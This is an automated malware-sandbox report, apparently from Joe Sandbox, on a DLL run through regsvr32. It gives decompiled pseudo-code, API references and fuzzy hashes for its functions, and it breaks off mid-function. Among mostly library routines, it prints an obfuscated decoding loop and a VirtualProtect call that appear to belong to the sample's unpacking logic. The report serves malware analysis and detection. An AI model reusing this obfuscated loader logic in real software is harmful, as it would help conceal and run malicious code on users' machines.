Part of subcall function 6EB6AEB4: __amsg_exit.LIBCMT ref: 6EB6AED6
Part of subcall function 6EB6AEB4: EnterCriticalSection.KERNEL32(00000000,00000000,?,6EB6A8CA,0000000D,6EB85460,00000008,6EB6A9C1,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D), ref: 6EB6AEDE

___sbh_find_block.LIBCMT ref: 6EB6430F
___sbh_free_block.LIBCMT ref: 6EB6431E
RtlFreeHeap.NTDLL(00000000,00000000,6EB85318,0000000C,6EB6A810,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C), ref: 6EB6434E
GetLastError.KERNEL32(?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C,6EB6AECF,00000000,00000000,?,6EB6A8CA,0000000D), ref: 6EB6435F

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 491cd63953bc341d17fc5fd91731d1238c85ff86b31d8f7eeccf33eb506a8d38
Instruction ID: a2564f488d074e78d120897aa17d4ce6d9fbd8dd9ceab68c7b1c6e03dec9e896
Opcode Fuzzy Hash: 491cd63953bc341d17fc5fd91731d1238c85ff86b31d8f7eeccf33eb506a8d38
Instruction Fuzzy Hash: 2C012C72825BA2EADF205FF09D197CE3F68FB01324F104929E514A7194DB3485418B55

Uniqueness

Uniqueness Score: -1.00%

Function 6EB42060 Relevance: 3.2, APIs: 2, Instructions: 225
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 35%

			E6EB42060(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				signed int _v4;
				intOrPtr _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _v28;
				signed int _v32;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t100;
				void* _t101;
				signed int _t104;
				intOrPtr _t108;
				signed int _t109;
				signed int _t133;
				char _t143;
				signed int _t145;
				signed int _t155;
				signed int _t187;
				signed int _t213;
				signed int _t217;
				signed int _t220;
				signed int _t247;
				intOrPtr _t255;
				signed int _t256;
				intOrPtr _t262;
				char* _t263;
				signed int _t267;
				signed int _t270;
				intOrPtr _t271;
				signed int _t273;
				void* _t274;
				signed int _t275;
				intOrPtr _t276;

				_t96 =  *0x6eb8a9cc; // 0x0
				_t213 =  *0x6eb8a9bc; // 0x0
				_t97 =  *0x6eb8a9c0; // 0x0
				_t98 =  *0x6eb8a9c8; // 0x0
				_t100 =  *0x6eb8a9c4; // 0x0
				_v4 = 0;
				_t101 = malloc(((_t96 * _t96 * _t96 * _t97 + _t213) * 4 - 8) * _t97 + (_t98 * _t213 * 4 - 4) *  *0x6eb8a9d0 - _t100 * 4 + 0x204d);
				_t267 =  *0x6eb8a9cc; // 0x0
				_t217 =  *0x6eb8a9c0; // 0x0
				_t275 =  *0x6eb8a9c8; // 0x0
				_v28 = _t101;
				_v32 = 0;
				_t273 =  *0x6eb8a9bc; // 0x0
				_t10 = _t217 - 3; // -3
				_v24 = _t273 * _t267;
				_t104 =  *0x6eb8a9d0; // 0x0
				_t108 = (4 - _v24 + _v24 + _v24 + _v24) * _t273 + (_t104 + _t104 * 2 + (_t273 + _t10) * _t275 +  *0x6eb8a9c4) * 4 + (4 - _t267 * 4) * _t217 + 0x204d;
				_v8 = _t108;
				if(_t108 > 0) {
					_t145 =  *0x6eb8a9d0; // 0x0
					_t262 = _v28 - _t267 * _t217 + _t145 + _t273 + (_t267 * _t217 + _t145 + _t273) * 2;
					_t24 = _t267 + 1; // 0x1
					_v16 = (_t145 * _t273 - 2) * _t217 - _t24 * _t267 - _t275 + _t273 + ((_t145 * _t273 - 2) * _t217 - _t24 * _t267 - _t275 + _t273) * 2 - _t262 + _a4;
					_t155 = _v32;
					_v20 = _t262;
					while(1) {
						_t263 = _t262 + _t155;
						 *(_v16 + _t263) = _t155;
						_v12 = _t263;
						 *_v12 =  *((intOrPtr*)(_t155 % _a12 + _a8));
						_t155 = _v32 + 1;
						_v32 = _t155;
						if(_t155 >= _v8) {
							goto L4;
						}
						_t262 = _v20;
					}
				}
				L4:
				_t109 =  *0x6eb8a9c4; // 0x0
				_t48 = _t267 + 1; // 0x1
				_t247 =  *0x6eb8a9c4; // 0x0
				_v8 = _t48 * _t273 + (2 - _t109) * _t275 + _t109 + ((_t217 - _t273) * _t267 - _t109 - 1) *  *0x6eb8a9d0 + _t267 + _a4 + (_t48 * _t273 + (2 - _t109) * _t275 + _t109 + ((_t217 - _t273) * _t267 - _t109 - 1) *  *0x6eb8a9d0 + _t267) * 4;
				_t53 = _t247 * _t267 + 2; // 0x3
				_v12 = ((1 - _t273) *  *0x6eb8a9d0 + _t53) * _t247 - _v24 * _t217 * _t217 - _t275 * _t275 * _t217 - _t275 * _t267 * _t217 - _t275 + _t267 + _a4;
				_t255 = _a4;
				_v20 = (4 - _t217 * 4) * _t217 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 - (4 + _t267 * 4) *  *0x6eb8a9d0 + _t255;
				_t187 =  *0x6eb8a9c4; // 0x0
				_v16 = _v28 - _t217 + _t217 * 2 + _t217 + _t217 * 2;
				_t133 =  *0x6eb8a9d0; // 0x0
				_t270 =  *0x6eb8a9c4; // 0x0
				_v32 = 0;
				_v24 = ((_t187 * _t133 * _t273 - 1) * _t217 - _t275 - 3) * _t275 - _t267 + _t133 + (_t267 + _t133) * 2 + _t270 * 2 - _t217 + _t273 + _t255;
				_t72 = _t273 + 1; // 0x1
				_t276 = _v12;
				_t220 = _v32;
				_t271 = _v8;
				_t256 = _v4;
				_t274 = (_t133 + _t133 - 2) * _t275 + _t255 + (_t72 * _t217 - _t133 * _t273 + _t270) * 2;
				do {
					asm("cdq");
					_t256 = (( *(_v20 + _t220) & 0x000000ff) +  *((char*)(_v16 + _t220)) + _t256) % 0x204d;
					_t143 =  *((intOrPtr*)(_v24 + _t220));
					_t220 = _t220 + 1;
					 *((char*)(_t274 + _t220 - 1)) =  *((intOrPtr*)(_t271 + _t256));
					 *((char*)(_t256 + _t276)) = _t143;
				} while (_t220 < 0x204d);
				return  *0x6eb8d530(_v28);
			}

APIs

malloc.MSVCRT ref: 6EB420C1
??3@YAXPAX@Z.MSVCRT ref: 6EB4232C

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ??3@malloc
String ID:
API String ID: 3530088491-0
Opcode ID: a2ed43081e398aced604624aaaa81a05dd64394a47bb89aa2cc9b2148e6a393e
Instruction ID: 525a7e043fd80f8aa30288f0d5314e12f1d275ad661c67fe505f0959cb1bd819
Opcode Fuzzy Hash: a2ed43081e398aced604624aaaa81a05dd64394a47bb89aa2cc9b2148e6a393e
Instruction Fuzzy Hash: 5D9162717057028FC708CF6CCAC5646BBE6FBDA300F09967AA945CB3A9D674E609CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6EB42D80 Relevance: 1.7, APIs: 1, Instructions: 218
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E6EB42D80() {
				intOrPtr _t105;
				signed int _t124;
				signed int _t131;
				signed int _t145;
				signed int _t147;
				signed int _t150;
				long _t159;
				signed int _t162;
				signed int _t166;
				signed int _t173;
				signed int _t193;
				signed int _t200;
				signed int _t217;
				long _t220;
				signed int _t221;
				signed int _t232;
				signed int _t241;
				signed int _t246;
				signed int _t252;
				long _t255;
				signed int _t260;
				void* _t278;

				_t220 =  *(_t278 + 0x14);
				_t105 =  *((intOrPtr*)(_t220 + 8));
				_t255 =  *(_t278 + 0x14);
				 *((intOrPtr*)(_t278 + 4)) = _t105;
				if(_t105 != 0) {
					_t217 =  *0x6eb8a9c8; // 0x0
					_t173 =  *0x6eb8a9d0; // 0x0
					_t252 =  *0x6eb8a9cc; // 0x0
					if(( *(_t220 + 0xc) & _t217 - _t173 + _t252 + 0x02000000 + (_t217 - _t173 + _t252) * 0x00000002) == 0) {
						_t221 =  *0x6eb8a9c0; // 0x0
						_t241 =  *0x6eb8a9c4; // 0x0
						_t40 = _t252 + 2; // -1857595834
						_t44 = _t221 - (_t241 * _t217 +  *0x6eb8a9bc + _t40) *  *0x6eb8a9d0 + (_t221 - (_t241 * _t217 +  *0x6eb8a9bc + _t40) *  *0x6eb8a9d0) * 2 + 0x20000000; // 0x1ffffffe
						asm("sbb eax, eax");
						asm("sbb ebx, ebx");
						_t124 =  *0x6eb8a9bc; // 0x0
						_t193 =  *0x6eb8a9d0; // 0x0
						 *(_t278 + 0x14) = (_t124 * _t241 * _t193 + _t124 * _t241 * _t193 * 2 - 3) * _t193 - _t252 + _t252 * 2 - 0x80000000;
						_t131 =  *( *(_t278 + 0x24) + 0xc);
						 *(_t278 + 0x18) = _t131;
						asm("sbb ebx, ebx");
						_t260 =  *0x6eb8a9d0; // 0x0
						_t200 =  *0x6eb8a9bc; // 0x0
						 *(_t278 + 0x10) =  *(0x6eb8a9d8 + ( ~( ~( *(_t278 + 0x14) & _t131)) + ( ~( ~((_t241 -  *0x6eb8a9bc + 0x00000001) * _t252 + _t221 +  *0x6eb8a9d0 + (_t241 -  *0x6eb8a9bc + 0x00000001) * _t252 + _t221 +  *0x6eb8a9d0 + 0x40000000 &  *( *(_t278 + 0x24) + 0xc))) +  ~( ~((((_t217 + _t217 - _t221 * _t221 + _t221 * _t221 * 0x00000002 + _t217) * _t217 - 0x00000003) * _t241 - _t221 + _t221 * 0x00000002) * _t252 + _t44 &  *( *(_t278 + 0x24) + 0xc))) * 2) * 2) * 4);
						 *(_t278 + 0x14) = _t200 + _t260 + (_t200 + _t260) * 4;
						if(( *(_t278 + 0x18) & ((0x00000001 - _t260) * _t200 - _t221) * _t221 - (_t241 + _t217) * _t241 + 4 - ( *(_t278 + 0x14) + 0x0000000f) * _t252 +  *(_t278 + 0x14) + 0x04000000) != 0) {
							 *(_t278 + 0x10) =  *(_t278 + 0x10) | (_t241 * 0x00000004 - 0x00000004) * _t217 + ((_t221 * _t217 + _t241 * _t252 + 0x00000001) * _t252 + 0x00000080 + _t221 * 0x00000002) * 0x00000004;
						}
						_t145 =  *0x6eb8a9d0; // 0x0
						_t147 =  *0x6eb8a9d0; // 0x0
						_t98 = _t252 - 2; // -2
						_t150 = VirtualProtect( *( *(_t278 + 0x2c)), ( *(_t278 + 0x2c))[2] + (_t252 + _t98) * _t147 + (_t200 - _t217 + _t217 * 2) * 2,  *(_t278 + 0x14), _t278 + 0x24 + (_t241 * _t252 + (_t200 - _t145 * _t217 + 1) * _t221 - _t217 * _t217 + _t147) * 4); // executed
						asm("sbb eax, eax");
						return  ~( ~_t150);
					} else {
						_t159 =  *_t220;
						 *(_t278 + 0x14) = _t159;
						if(_t159 ==  *((intOrPtr*)(_t220 + 4))) {
							_t246 =  *0x6eb8a9c0; // 0x0
							if( *((intOrPtr*)(_t220 + 0x10)) != 0) {
								L8:
								_t162 =  *0x6eb8a9c4; // 0x0
								_t232 =  *0x6eb8a9bc; // 0x0
								 *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x20))))( *(_t278 + 0x18),  *(_t278 + 0x14), ((_t246 * _t252 - _t162 * _t173 - _t217) * _t162 + _t246 + 2) * _t246 + (_t232 * _t217 - _t252) * _t162 + _t232 * _t252 - _t217 + _t162 + _t252 + 0x4000,  *((intOrPtr*)(_t255 + 0x34)));
							} else {
								_t166 =  *(_t255 + 0x3c);
								 *(_t278 + 0x24) = _t166;
								if( *((intOrPtr*)( *_t255 + 0x38)) == _t166) {
									goto L8;
								} else {
									if(_t246 - _t173 + (_t246 - _t173) * 4 +  *(_t278 + 0x10) %  *(_t278 + 0x24) == 0) {
										_t173 =  *0x6eb8a9d0; // 0x0
										goto L8;
									}
								}
							}
						}
						return 1;
					}
				} else {
					return 1;
				}
			}

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4526713fa71b4003115ead008a80927649b692383f9773ec444efdf69e32fff
Instruction ID: a4bebb0151e7991305db5295c593d506edcdd25d1065042b4deefe9c7b3320a6
Opcode Fuzzy Hash: b4526713fa71b4003115ead008a80927649b692383f9773ec444efdf69e32fff
Instruction Fuzzy Hash: C781823264470A8FC744CFACDAC1A86B7E9FB89700F05957AD545CB395E670EA18CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB41490 Relevance: 1.6, APIs: 1, Instructions: 108
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E6EB41490(void* __ebx, intOrPtr* __ecx, void* __edi) {
				void* _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				intOrPtr _t29;
				intOrPtr* _t32;
				void* _t34;
				signed int _t36;
				void* _t38;
				void* _t41;
				intOrPtr _t42;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr* _t47;
				intOrPtr _t52;
				intOrPtr _t53;
				void* _t58;
				void* _t61;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr* _t69;
				void* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				void* _t76;

				_t58 = __edi;
				_t44 = __ecx;
				_t41 = __ebx;
				_t52 =  *((intOrPtr*)(_t75 + 4));
				_t23 =  *__ecx - 0x10;
				_t64 =  *((intOrPtr*)(_t23 + 4));
				if(_t64 > _t52) {
					_t52 = _t64;
				}
				_pop(_t65);
				if( *((intOrPtr*)(_t23 + 0xc)) <= 1) {
					_t24 =  *((intOrPtr*)(_t23 + 8));
					if(_t24 >= _t52) {
						return _t24;
					} else {
						if(_t24 <= 0x400) {
							_t25 = _t24 + _t24;
						} else {
							_t25 = _t24 + 0x400;
						}
						if(_t25 < _t52) {
							_t25 = _t52;
						}
						 *((intOrPtr*)(_t75 + 4)) = _t25;
						_t53 =  *((intOrPtr*)(_t75 + 4));
						_push(_t65);
						_t66 = _t44;
						_t26 =  *_t66;
						_t45 =  *((intOrPtr*)(_t26 - 0x10));
						_t27 = _t26 - 0x10;
						if( *((intOrPtr*)(_t27 + 8)) >= _t53 || _t53 <= 0) {
							L22:
							_t28 = E6EB414E0(_t45, _t53);
						} else {
							_t28 =  *((intOrPtr*)( *((intOrPtr*)( *_t45 + 8))))(_t27, _t53, 1, _t58);
							if(_t28 == 0) {
								goto L22;
							}
						}
						_t29 = _t28 + 0x10;
						 *_t66 = _t29;
						return _t29;
					}
				} else {
					 *((intOrPtr*)(_t75 + 4)) = _t52;
					_t68 =  *_t44;
					_t42 =  *((intOrPtr*)(_t68 - 0xc));
					_t69 = _t68 - 0x10;
					 *((intOrPtr*)(_t75 + 0xc)) = _t44;
					_t32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 0x10))))(_t58, _t65, _t71, _t41, _t44);
					_t55 =  *_t32;
					_t72 =  *((intOrPtr*)(_t75 + 0x18));
					_t47 = _t32;
					_t34 =  *((intOrPtr*)( *((intOrPtr*)( *_t32))))(_t72, 1); // executed
					_t61 = _t34;
					if(_t61 == 0) {
						E6EB414E0(_t47, _t55);
					}
					if(_t42 < _t72) {
						_t72 = _t42;
					}
					_t11 = _t72 + 1; // 0x2
					_t12 = _t69 + 0x10; // 0x0
					_t13 = _t61 + 0x10; // 0x10
					_t73 = _t13;
					_t36 = E6EB64067(_t42, _t12, _t73, _t11, _t12, _t11);
					_t76 = _t75 + 0x10;
					 *((intOrPtr*)(_t61 + 4)) = _t42;
					asm("lock xadd [edx], eax");
					_t38 = (_t36 | 0xffffffff) - 1;
					if(_t38 <= 0) {
						_t38 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 4))))(_t69);
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x10)))) = _t73;
					return _t38;
				}
			}

APIs

_memcpy_s.LIBCMT ref: 6EB41537

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 7f54eb77de2988f94261bbe915b1d204681bb7a52db648cecb4f92f371e38394
Instruction ID: 4fa289e4efd792b8c68ef6a9f8f7da158adffaeaf7b6323fe99bc89b85297065
Opcode Fuzzy Hash: 7f54eb77de2988f94261bbe915b1d204681bb7a52db648cecb4f92f371e38394
Instruction Fuzzy Hash: AD31A1B2A14605DFD300CFACC88099AB7F9EF99314F28896DE159C7224E731E8169F91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB414E0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E6EB414E0(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				intOrPtr* _t14;
				void* _t16;
				signed int _t18;
				void* _t20;
				void* _t23;
				intOrPtr _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t38;
				void* _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr* _t43;
				void* _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				void* _t49;
				void* _t50;

				_t26 = __ecx;
				E6EB41000(__ecx, __edx, 0x8007000e);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t42 =  *_t26;
				_t24 =  *((intOrPtr*)(_t42 - 0xc));
				_t43 = _t42 - 0x10;
				 *((intOrPtr*)(_t49 + 0xc)) = _t26;
				_t14 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t43)) + 0x10))))(_t38, _t41, _t45, _t23, _t26);
				_t35 =  *_t14;
				_t46 =  *((intOrPtr*)(_t49 + 0x18));
				_t28 = _t14;
				_t16 =  *((intOrPtr*)( *((intOrPtr*)( *_t14))))(_t46, 1); // executed
				_t39 = _t16;
				if(_t39 == 0) {
					E6EB414E0(_t28, _t35);
				}
				if(_t24 < _t46) {
					_t46 = _t24;
				}
				_t5 = _t46 + 1; // 0x2
				_t6 = _t43 + 0x10; // 0x0
				_t7 = _t39 + 0x10; // 0x10
				_t47 = _t7;
				_t18 = E6EB64067(_t24, _t6, _t47, _t5, _t6, _t5);
				_t50 = _t49 + 0x10;
				 *((intOrPtr*)(_t39 + 4)) = _t24;
				asm("lock xadd [edx], eax");
				_t20 = (_t18 | 0xffffffff) - 1;
				if(_t20 <= 0) {
					_t20 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t43)) + 4))))(_t43);
				}
				 *((intOrPtr*)( *((intOrPtr*)(_t50 + 0x10)))) = _t47;
				return _t20;
			}

APIs

_memcpy_s.LIBCMT ref: 6EB41537

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: bfc535a2aa8d90c718764cf4b0c4fab8c45673366e3a0d4cfdf71093f7a00ae8
Instruction ID: a810301c9f0415a192c90fff8f455e9e752ec2e5f0fb44f80fdd84ec3a0f7736
Opcode Fuzzy Hash: bfc535a2aa8d90c718764cf4b0c4fab8c45673366e3a0d4cfdf71093f7a00ae8
Instruction Fuzzy Hash: 6C11C672600A05DFC301DFA8C880D9AB7B9FF89314B148A5DE62A87354EB31E915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55A32 Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E6EB55A32(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				long* _t24;
				intOrPtr _t25;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr _t33;

				_t27 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_push(4);
				E6EB664FB(0x6eb77ba4, __ebx, __edi, __esi);
				_t30 = __ecx;
				_t33 =  *((intOrPtr*)(_t31 + 8));
				_t34 = _t33 == 0;
				if(_t33 == 0) {
					L1:
					E6EB48BA4(_t22, _t23, _t27, _t30, _t34);
				}
				if( *_t30 == 0) {
					_t23 =  *0x6eb8c944; // 0x6eb8c948
					if(_t23 != 0) {
						L5:
						_t19 = E6EB55723(_t23); // executed
						 *_t30 = _t19;
						if(_t19 == 0) {
							goto L1;
						}
					} else {
						 *((intOrPtr*)(_t31 - 0x10)) = 0x6eb8c948;
						 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
						_t21 = E6EB5583B(0x6eb8c948);
						 *(_t31 - 4) =  *(_t31 - 4) | 0xffffffff;
						_t23 = _t21;
						 *0x6eb8c944 = _t21;
						if(_t21 == 0) {
							goto L1;
						} else {
							goto L5;
						}
					}
				}
				_t24 =  *0x6eb8c944; // 0x6eb8c948
				_t28 = E6EB55595(_t24,  *_t30);
				_t39 = _t28;
				if(_t28 == 0) {
					_t17 =  *((intOrPtr*)(_t31 + 8))();
					_t25 =  *0x6eb8c944; // 0x6eb8c948
					E6EB558E2(_t22, _t25, _t17, _t30, _t39,  *_t30, _t17);
				}
				return E6EB665D3(_t28);
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB55A39

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID:
API String ID: 2489616738-0
Opcode ID: 4f593de68d96432fa09311f7768228b4d2aff7128e266033d6f304c8063ce310
Instruction ID: 1f1fc8b5c91a4f8c9d5f900da0be8786149d76e3a656575f9b24e3e9170295e7
Opcode Fuzzy Hash: 4f593de68d96432fa09311f7768228b4d2aff7128e266033d6f304c8063ce310
Instruction Fuzzy Hash: D6018470612682CBDB56AFE8C85076E3EB6EF81366F11052CD4858F380EF30C850CB89

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48392 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB48392(intOrPtr __ecx, intOrPtr _a4, signed int _a8) {
				void* __edi;
				intOrPtr* _t11;
				void* _t13;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t18;

				_t18 = _a4;
				_t17 = __ecx;
				if(_t18 >= 0) {
					_t11 = E6EB643C3(_t13, _t16, __ecx, (_t18 + 1) * _a8 + 0x10); // executed
					if(_t11 == 0) {
						goto L1;
					}
					 *(_t11 + 4) =  *(_t11 + 4) & 0x00000000;
					 *_t11 = _t17;
					 *((intOrPtr*)(_t11 + 0xc)) = 1;
					 *((intOrPtr*)(_t11 + 8)) = _t18;
					return _t11;
				}
				L1:
				return 0;
			}

0x6eb48398
0x6eb4839c
0x6eb483a0
0x6eb483b1
0x6eb483b9
0x00000000
0x00000000
0x6eb483bb
0x6eb483bf
0x6eb483c1
0x6eb483c8
0x00000000
0x6eb483c8
0x6eb483a2
0x00000000

APIs

_malloc.LIBCMT ref: 6EB483B1

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: d3f6327eaa1429c11228bf88ee1b00423b7e019c91995f0c78cc0e14a1aa74be
Instruction ID: 86f265b778fd366ac2c8d9b62a0db34bfefecfa30af3c86801a8951c633aff00
Opcode Fuzzy Hash: d3f6327eaa1429c11228bf88ee1b00423b7e019c91995f0c78cc0e14a1aa74be
Instruction Fuzzy Hash: 48E06D335146169BD3008F8AD914A8ABBECEFA1371B068466F404CB162C775E4048BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6AC94 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB6AC94(intOrPtr _a4) {
				void* _t6;

